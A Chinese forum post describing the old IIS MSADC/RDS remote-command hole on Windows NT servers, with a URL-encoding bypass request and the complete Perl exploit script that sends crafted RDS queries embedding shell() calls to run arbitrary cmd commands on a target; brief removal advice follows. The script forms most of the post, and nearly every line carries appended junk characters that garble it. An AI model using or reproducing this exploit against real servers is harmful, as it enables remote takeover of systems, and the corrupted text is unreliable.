社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168434阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) uo 8YP<q  
gR;i(81U  
涉及程序: \Gvm9M  
Microsoft NT server [RhO$c$[\  
kn 4`Fa;)O  
描述: !l8PDjAE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'zTLl8P  
Ve; n}mJ?  
详细: ?k{?GtSs  
如果你没有时间读详细内容的话,就删除: fIU#M]Xx  
c:\Program Files\Common Files\System\Msadc\msadcs.dll S4z;7z(8+  
有关的安全问题就没有了。 S2&4g/  
3F2w-+L  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Wh*uaad7  
?CPahU  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 d\8l`Krs[_  
关于利用ODBC远程漏洞的描述,请参看: !pX>!&sb  
 x'<X!gw  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U 'bEL^Jf  
?Z/V~,  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 b3, _(;A!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp H*CW1([  
@*( (1(q  
这里不再论述。 1oGw4kD^x  
8<Av@9 *}  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: <0!):zraS  
W/h[A3 `3N  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }K|oicpUg  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! |@d\S[~^G  
NC(~l  
&V/Mmm T  
#将下面这段保存为txt文件,然后: "perl -x 文件名" *z8\Lnv~k  
k5pN  
#!perl %* }(}~  
# 2\{zmc}G-0  
# MSADC/RDS 'usage' (aka exploit) script uK Hxe~  
# M8(t 'jN  
# by rain.forest.puppy 4H&+dR I"  
# eng'X-x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +23x ev  
# beta test and find errors! jNk%OrP]  
L4nYXW0y  
use Socket; use Getopt::Std; wb l&  
getopts("e:vd:h:XR", \%args); ZD{LXJ{Vm  
y}|s&4Sq  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; S<Xf>-8w  
}5"u[Z.  
if (!defined $args{h} && !defined $args{R}) { Lp9E:D->  
print qq~ oCz/HQoBk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &F~T-i>X  
-h <host> = host you want to scan (ip or domain) vEJbA  
-d <seconds> = delay between calls, default 1 second <)D$51 &0  
-X = dump Index Server path table, if available 9\7en%(M  
-v = verbose zTU0HR3A  
-e = external dictionary file for step 5 'D1xh~  
/j.9$H'y  
Or a -R will resume a command session N(yz k_~  
+6+i!Sip  
~; exit;} eJ-nKkg~a  
C,4e"yynb  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; fz "Y CHe  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} SvF<p3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =dN@Sa/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); N;`n@9BF  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Z7Hbj!d/Sz  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6Z"X}L,*  
0o&5 ]lEe  
if (!defined $args{R}){ $ret = &has_msadc; ]D\D~!R  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} VI *$em O0  
l*G[!u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" X"%gQ.1|{j  
. "cmd /c "; yJIscwF  
$in=<STDIN>; chomp $in; o }m3y  
$command="cmd /c " . $in ; vnuN6M{  
5v*\Zr5ha  
if (defined $args{R}) {&load; exit;} jmG~UnM  
CU!Dhm/U  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; b&U62iq  
&try_btcustmr; c7H^$_^=  
} 0y"F  
print "\nStep 2: Trying to make our own DSN..."; pMM8-R'W-  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]7A'7p $Y  
!j-Z Lq:;  
print "\nStep 3: Trying known DSNs..."; G 01ON0  
&known_dsn; hM! a_'  
5|)W.*Q  
print "\nStep 4: Trying known .mdbs..."; d&>^&>?$zh  
&known_mdb; 5)X=*I  
2&cT~ZX&'  
if (defined $args{e}){ C;yZ  
print "\nStep 5: Trying dictionary of DSN names..."; #GFr`o0$^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Tp2.VIoQ=  
1_G^w qk  
print "Sorry Charley...maybe next time?\n"; ) )Za&S*<  
exit; :g/tZd$G5  
uPvEwq* C  
############################################################################## {oL>1h,%3?  
xoME9u0x4  
sub sendraw { # ripped and modded from whisker 1|:KQl2q  
sleep($delay); # it's a DoS on the server! At least on mine... UPGtj"2v-  
my ($pstr)=@_; s5. CFA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eyxW 0}[  
die("Socket problems\n"); |w3M7;~eF  
if(connect(S,pack "SnA4x8",2,80,$target)){ !8 b ^,  
select(S); $|=1; 3OB"#Ap8<  
print $pstr; my @in=<S>; C,eu9wOT  
select(STDOUT); close(S); l U]nd[x  
return @in; 7t3!) a|lI  
} else { die("Can't connect...\n"); }} +ZX{>:vo   
# f\rt   
############################################################################## 8zb /xP>  
n=q 76W\  
sub make_header { # make the HTTP request 0n'_{\yz  
my $msadc=<<EOT cZ3v=ke^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _yT Ed"$  
User-Agent: ACTIVEDATA !<F3d`a  
Host: $ip ?V=CB,^  
Content-Length: $clen Iu6   
Connection: Keep-Alive ! d gNtI@  
1Z&(6cDY8M  
ADCClientVersion:01.06 W*Y/l~x}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 $:^td/p J  
Ho]su?  
--!ADM!ROX!YOUR!WORLD! ;AG()NjOO:  
Content-Type: application/x-varg 19] E 5'AI  
Content-Length: $reqlen W@esITr  
+w~oH=  
EOT Uw:"n]G]D?  
; $msadc=~s/\n/\r\n/g;  0+8e,  
return $msadc;} |vC~HJpuv'  
E" vS $  
############################################################################## 2KZneS`  
1 -b_~DF  
sub make_req { # make the RDS request %l%HHT  
my ($switch, $p1, $p2)=@_; K)P%;X  
my $req=""; my $t1, $t2, $query, $dsn; !@"OB~  
rZpXPI  
if ($switch==1){ # this is the btcustmr.mdb query QsW/X0YBv  
$query="Select * from Customers where City=" . make_shell(); Fj!U|l\_9  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H;"4 C8K7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !`r$"}g  
ajpX L  
elsif ($switch==2){ # this is general make table query 8?C5L8)  
$query="create table AZZ (B int, C varchar(10))"; 47B&s   
$dsn="$p1";} 5-A\9UC*@  
_VXN#@y  
elsif ($switch==3){ # this is general exploit table query P2nu;I_ &  
$query="select * from AZZ where C=" . make_shell(); Yr|4Fl~U  
$dsn="$p1";} {c0`Um3&>  
o !7va"  
elsif ($switch==4){ # attempt to hork file info from index server <oeIcN7d  
$query="select path from scope()"; v-Sd*( 6  
$dsn="Provider=MSIDXS;";} 6w77YTJ  
*z2s$EZ  
elsif ($switch==5){ # bad query *lb<$E]="!  
$query="select"; Q59W#e)  
$dsn="$p1";} D&zle~" J  
F:ELPs4"  
$t1= make_unicode($query); &c #N)U  
$t2= make_unicode($dsn); T]$U""  
$req = "\x02\x00\x03\x00"; A%-6`>  
$req.= "\x08\x00" . pack ("S1", length($t1)); `$NP> %J-  
$req.= "\x00\x00" . $t1 ; BJ0?kX@  
$req.= "\x08\x00" . pack ("S1", length($t2)); %|4UsWZ  
$req.= "\x00\x00" . $t2 ; Y9|!+,  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; XX~,>Q}H=  
return $req;} ch]29  
wyG;8I  
############################################################################## :Tq~8!s  
nRY5xRvK  
sub make_shell { # this makes the shell() statement :hA#m[  
return "'|shell(\"$command\")|'";} E\$W_Lmr  
i mM_H;-X  
############################################################################## !&\INl-Z  
w*Ihk)  
sub make_unicode { # quick little function to convert to unicode {>;R?TG]$  
my ($in)=@_; my $out; L0]_X#s>#  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } eQ}4;^;M-  
return $out;} <-0]i_4sK  
azU"G(6y?+  
############################################################################## Y^]rMK/;  
?%kV?eu'  
sub rdo_success { # checks for RDO return success (this is kludge) g `4<9RMun  
my (@in) = @_; my $base=content_start(@in); mV m Gg,  
if($in[$base]=~/multipart\/mixed/){ jFb?b6b  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} mBC+6(5V  
return 0;} YbLW/E\T  
|nF8gh~}  
############################################################################## L=h'Qgk%  
,[;G|et  
sub make_dsn { # this makes a DSN for us H']+L~j  
my @drives=("c","d","e","f"); :H[6Lg\*  
print "\nMaking DSN: "; G / 5%.Bf@  
foreach $drive (@drives) { ^}C\zW  
print "$drive: "; SY8C4vb'h  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . B\n[.(].r  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" F5#YOck&,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^W@5TkkBQq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "h ^Z  
return 0 if $2 eq "404"; # not found/doesn't exist )CyS#j#=  
if($2 eq "200") { 2BobH_ H  
foreach $line (@results) { tI{_y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} y!%CffF2  
} return 0;} ?hM64jI|  
/Q )\+  
############################################################################## 3ANQaUC  
A(N4N  
sub verify_exists { \di=  
my ($page)=@_; R GX=)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); c"xK`%e  
return $results[0];} UZ$/Ni  
E!AE4B1bd  
############################################################################## c:g'.'/*  
8i,K~Bu=  
sub try_btcustmr { kNL\m[W8$  
my @drives=("c","d","e","f"); 0?M:6zf_iv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [8*)8jP3  
Xx(T">]vJ  
foreach $dir (@dirs) { 3BLqCZ  
print "$dir -> "; # fun status so you can see progress V1JIht>Opo  
foreach $drive (@drives) { ]:\dPw`A  
print "$drive: "; # ditto FGQzoS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; PYzvCf`?  
$reqlenlen=length( "$reqlen" ); D,ln)["xm  
$clen= 206 + $reqlenlen + $reqlen; '%`:+]!  
.}*" Nv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); snikn&  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} i 3SHg\~Z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 2:=  
m#F`] {  
############################################################################## &t-kpA|EG  
---N9I  
sub odbc_error {  f V(J|  
my (@in)=@_; my $base; x3krbUlx  
my $base = content_start(@in); 4H<lm*!^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this g zg_>2Sj  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dq[xwRU1  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a@*\o+Su  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Qw)c$93  
return $in[$base+4].$in[$base+5].$in[$base+6];} \^%}M!tan  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )F2OT<]m,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -PQv ?5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $tS}LN_!  
}iuw5dik+  
############################################################################## I!?}jo3  
40<mrVl  
sub verbose { _/K_[w 1  
my ($in)=@_; PiYxk+N  
return if !$verbose; 6JQ'Ik;$wX  
print STDOUT "\n$in\n";} V$?SR44>nH  
8&aq/4:q0  
############################################################################## J)C/u{o  
K96<M);:g  
sub save { (!N|Kl  
my ($p1, $p2, $p3, $p4)=@_; JO< wU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?I@W:#>o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; IN G@B#Cl  
close OUT;} puM3g|n@  
VU d\QR-  
############################################################################## W#sU`T   
# Vha7  
sub load { I.k *GW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .VzT:4-<Q"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 1y4  
@p=<IN>; close(IN); <A'$%`6m  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 0_t`%l=  
$target= inet_aton($ip) || die("inet_aton problems"); 8*T=Xei8  
print "Resuming to $ip ..."; E+w<RNBmz  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `^y7f  
if($p[1]==1) { n=ux5M  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 5[u]E~Fl}  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; j,dR,Nd  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); bbyg8;/  
if (rdo_success(@results)){print "Success!\n";} u-5{U-^_  
else { print "failed\n"; verbose(odbc_error(@results));}} (=@h23 vH  
elsif ($p[1]==3){ /~f'}]W  
if(run_query("$p[3]")){ xlg9TvvI  
print "Success!\n";} else { print "failed\n"; }} q%?in+l  
elsif ($p[1]==4){ N' `A?&2ru  
if(run_query($drvst . "$p[3]")){ 3jC_AO%T  
print "Success!\n"; } else { print "failed\n"; }} A$:U'ZG_  
exit;} qm o9G  
eHDN\QA 2  
############################################################################## KMjhZap%  
R!N%o~C2-  
sub create_table { \)?HJ  
my ($in)=@_; "!%l/_p?  
$reqlen=length( make_req(2,$in,"") ) - 28; nQ,HMXj  
$reqlenlen=length( "$reqlen" ); hFl^\$Re  
$clen= 206 + $reqlenlen + $reqlen; 9j9TPyC/2  
my @results=sendraw(make_header() . make_req(2,$in,"")); MFAH%Z$  
return 1 if rdo_success(@results); ~O &:C{9=  
my $temp= odbc_error(@results); verbose($temp); )/?$3h;  
return 1 if $temp=~/Table 'AZZ' already exists/; ?m? ::RH  
return 0;} V% 6I\G2/:  
={wcfhUl+  
############################################################################## ;x@~A^<el  
<?4V  
sub known_dsn { }d}Ke_Q0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go exUu7& *:  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $@"g^,n  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^RtIh-Z.9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); RuVGG)  
<3C*Z"aQ>|  
foreach $dSn (@dsns) { -I,$_  
print "."; cq/$N  
next if (!is_access("DSN=$dSn")); 'u |c  
if(create_table("DSN=$dSn")){ `, Tz Q  
print "$dSn successful\n"; wov\kV  
if(run_query("DSN=$dSn")){ ByNn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9e,0\J  
print "Something's borked. Use verbose next time\n";}}} print "\n";} JB[~;nLlC  
)C]g ld;8  
############################################################################## W+ko q*P  
Y^EcQzLw  
sub is_access { i5Yb`Z[Y  
my ($in)=@_; >_"an~Ss  
$reqlen=length( make_req(5,$in,"") ) - 28; |Uh  
$reqlenlen=length( "$reqlen" ); "]b<uV  
$clen= 206 + $reqlenlen + $reqlen; D!-g&HBTC  
my @results=sendraw(make_header() . make_req(5,$in,"")); FZslv"F  
my $temp= odbc_error(@results); Ks`J([(W&  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]>nk"K!%  
return 0;} p xa*'h"b^  
PKg@[<g43  
############################################################################## EVC]sUT  
~;{; ,8!)  
sub run_query { 54R#W:t  
my ($in)=@_; !_'ur>iR  
$reqlen=length( make_req(3,$in,"") ) - 28; 65$+{s  
$reqlenlen=length( "$reqlen" ); *VhL\IjN]  
$clen= 206 + $reqlenlen + $reqlen; MJ [m  
my @results=sendraw(make_header() . make_req(3,$in,"")); LR.<&m%~.  
return 1 if rdo_success(@results); 41?HY{&2  
my $temp= odbc_error(@results); verbose($temp); /zVOK4BqN+  
return 0;} B; h"lv  
.jT#:_  
############################################################################## 9c,'k#k  
N.{H,oO `  
sub known_mdb { Jgd'1'FOs  
my @drives=("c","d","e","f","g"); ++Ts  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V_}"+&W9  
my $dir, $drive, $mdb; ;dZZ;#k%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |AU~_{H  
hVAn>_(  
# this is sparse, because I don't know of many s/ qYa])  
my @sysmdbs=( "\\catroot\\icatalog.mdb", W^LY'ypT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", o 5uph=Q{  
"\\system32\\certmdb.mdb", peuZ&yK+"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Ep3N&Imp  
O$j7i:G'5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", '3D XPR^B6  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F {4bo$~>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", PB`Y g  
"\\cfusion\\cfapps\\security\\realm_.mdb", x vl#w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3z9d!I^>k  
"\\cfusion\\database\\cfexamples.mdb", &n}f?  
"\\cfusion\\database\\cfsnippets.mdb", qCpp6~]Um  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", }1i`6`y1  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", VfC<WVYiZ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &zeyE;/Hj  
"\\cfusion\\database\\smpolicy.mdb", ][h%UrV  
"\\cfusion\\database\cypress.mdb", ]]9R mh=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $f=J2&D,Cz  
"\\website\\cgi-win\\dbsample.mdb", {xB!EQ"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =I;ZMJR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Tc &z:  
); #these are just zFw s:_ i  
foreach $drive (@drives) { I%X6T@P  
foreach $dir (@dirs){ j2.|ln"!  
foreach $mdb (@sysmdbs) { O{G?;H$  
print "."; YPK(be_|I  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =llvuUd\n  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >xYpNtEs  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m6&~HfwN  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; O/a4]r+_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]kRfB:4ED  
_] sn0rX  
foreach $drive (@drives) { 1AfnzGvA  
foreach $mdb (@mdbs) { }mq6]ZrK  
print "."; dIa+K?INX  
if(create_table($drv . $drive . $dir . $mdb)){ xU>WEm2  
print "\n" . $drive . $dir . $mdb . " successful\n"; a#y;dK  
if(run_query($drv . $drive . $dir . $mdb)){ l%puHZ)t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5Y'qaIFR  
} else { print "Something's borked. Use verbose next time\n"; }}}} bvr^zH,C  
} xH(lm2kvT  
Qu"\wE^.`  
############################################################################## }c`"_L  
#Z`q+@@ ]A  
sub hork_idx { AFDq}*2Qb  
print "\nAttempting to dump Index Server tables...\n"; G"U9E5O  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; YYl4"l  
$reqlen=length( make_req(4,"","") ) - 28; ~tUl}  
$reqlenlen=length( "$reqlen" ); kmsb hYM)  
$clen= 206 + $reqlenlen + $reqlen; I{9QeR I  
my @results=sendraw2(make_header() . make_req(4,"","")); >WQMqQ^t@  
if (rdo_success(@results)){ NI}yVV  
my $max=@results; my $c; my %d; st3l2Q  
for($c=19; $c<$max; $c++){ EZy)A$|  
$results[$c]=~s/\x00//g; QP^Cx=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l7259Ro~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]&xk30  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; otl0J Ht*+  
$d{"$1$2"}="";} _jI,)sr4ic  
foreach $c (keys %d){ print "$c\n"; } AOWmzu{zw  
} else {print "Index server doesn't seem to be installed.\n"; }} |\<`Ib4j  
~'iHo]9O  
############################################################################## '()xHEGl3  
}=UHbU.n~!  
sub dsn_dict { ?'Xj g#}<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F2dHH^  
while(<IN>){ $@Rxrx_@M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #ASz;$P  
next if (!is_access("DSN=$dSn")); U;V7 u/{  
if(create_table("DSN=$dSn")){ 9T}pT{~V  
print "$dSn successful\n"; 4(~L#}:r!  
if(run_query("DSN=$dSn")){ 8'.Hyy@;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?'#` nx(!  
print "Something's borked. Use verbose next time\n";}}} !M]uL&:  
print "\n"; close(IN);} `H_3Uc  
$L>@Ed<  
############################################################################## pV +|o.<C  
+0%w ;'9z  
sub sendraw2 { # ripped and modded from whisker HU }7zK2  
sleep($delay); # it's a DoS on the server! At least on mine... _ Yx]_Y9I  
my ($pstr)=@_; YTX,cj#D^&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || i]y<|W)Q3  
die("Socket problems\n"); :O?MSS;~  
if(connect(S,pack "SnA4x8",2,80,$target)){ FLCexlv^  
print "Connected. Getting data"; a| x.C6P e  
open(OUT,">raw.out"); my @in; axRV:w;E<  
select(S); $|=1; print $pstr; !t %j?\f  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} /W30~y  
close(OUT); select(STDOUT); close(S); return @in; 69?wc!  
} else { die("Can't connect...\n"); }} +L| ?~p`V  
/y#f3r+*2  
############################################################################## [f-?y mmT  
mpEK (p  
sub content_start { # this will take in the server headers Sh~dwxp*"  
my (@in)=@_; my $c; }6}l7x  
for ($c=1;$c<500;$c++) { E7 Ul;d  
if($in[$c] =~/^\x0d\x0a/){ '&R2U_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @=Uh',F  
else { return $c+1; }}} i2A81>68<  
return -1;} # it should never get here actually A*R^n}sh  
| y# Jx  
############################################################################## *74MWF@IY  
5 +YH.4R  
sub funky { ]^n7  
my (@in)=@_; my $error=odbc_error(@in); nQtWvT  
if($error=~/ADO could not find the specified provider/){ R'`qKc  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; z'U1bMg  
exit;} "f2$w  
if($error=~/A Handler is required/){ 9:[  9v  
print "\nServer has custom handler filters (they most likely are patched)\n"; Nk 8B_{  
exit;}  O67W&nz  
if($error=~/specified Handler has denied Access/){ mPK:R^RjG&  
print "\nServer has custom handler filters (they most likely are patched)\n"; o>i4CCU+  
exit;}} B6As,)RjD:  
4*#18<u5  
############################################################################## W$;,CU.v  
J +DDh=%  
sub has_msadc { V`d,qn)i  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bz-c$me1  
my $base=content_start(@results); S_4?K)n #  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @R"JW\bd  
return 0;} f:,DWw`B  
UiP"Ixg6  
######################## o.g V4%  
f#"J]p  
{ Fb*&|-n  
解决方案: n)e 6>R ;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y%aCMP9j~9  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "5!oi]@>(  
\<>ih)J@tt  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八